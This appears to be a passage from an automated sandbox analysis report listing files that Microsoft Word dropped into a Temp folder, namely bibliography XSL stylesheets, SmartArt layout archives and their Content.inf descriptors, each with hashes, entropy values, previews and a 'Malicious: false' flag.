Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCD7E19.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7E19.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD7E2A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7E2A.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD7E4A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E4A.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCD7E5B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E5B.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCD7E6B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7E6B.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCD7E9B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7E9B.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD7EAC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7EAC.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCD7EBD.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7EBD.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCD7EBE.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
